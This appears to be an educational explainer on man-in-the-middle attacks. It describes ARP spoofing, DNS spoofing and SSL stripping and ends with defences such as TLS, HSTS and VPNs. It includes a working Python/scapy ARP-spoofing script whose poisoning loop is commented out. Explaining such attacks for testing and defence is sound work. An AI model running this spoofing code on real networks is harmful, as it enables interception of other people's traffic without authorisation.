What is a 'man-in-the-middle' attack?

Man-in-the-Middle (MiTM) attack is a form of active traffic interception where an attacker secretly intervenes in the communication between two parties, such as a client and a server. The attacker positions themselves between them, intercepting, reading, and possibly altering the transmitted data.

In the context of security testing, emulating MiTM attacks helps identify vulnerabilities in data transmission protocols, certificate management, and encryption.

Examples of techniques used in MiTM:

• ARP Spoofing: The attacker sends fake ARP messages in the local network, associating their MAC address with the gateway or another host's IP address, thereby redirecting traffic through themselves.
• DNS Spoofing: The attacker intercepts DNS requests and sends fake DNS responses, directing the user to a malicious site.
• HTTPS Spoofing (SSL Stripping): The attacker forces the user's browser to connect to a website over unsecured HTTP instead of HTTPS, even if the site supports HTTPS.

# Simplified example of ARP spoofing (conceptual)

import scapy.all as scapy
import time

def get_mac(ip):
    # Get MAC address by IP
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    if answered_list:
        return answered_list[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip):
    # Send ARP reply indicating that spoof_ip has our MAC address
    target_mac = get_mac(target_ip)
    if target_mac:
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        scapy.send(packet, verbose=False)

# This code is for illustration; real attacks require more complex logic and permissions
# print("Example of ARP spoofing (conceptual)")
# target_ip = "Target IP"
# gateway_ip = "Gateway IP"
#
# try:
#     while True:
#         spoof(target_ip, gateway_ip) # Redirect target traffic through us
#         spoof(gateway_ip, target_ip) # Redirect gateway traffic through us
#         time.sleep(2)
# except KeyboardInterrupt:
#     print("\nInterrupt detected, restoring ARP tables...")
#     # Logic to restore ARP tables should be here

Protection against MiTM includes using secure encryption protocols (TLS/SSL), certificate validation, implementing HSTS (HTTP Strict Transport Security), network segmentation, and using VPNs.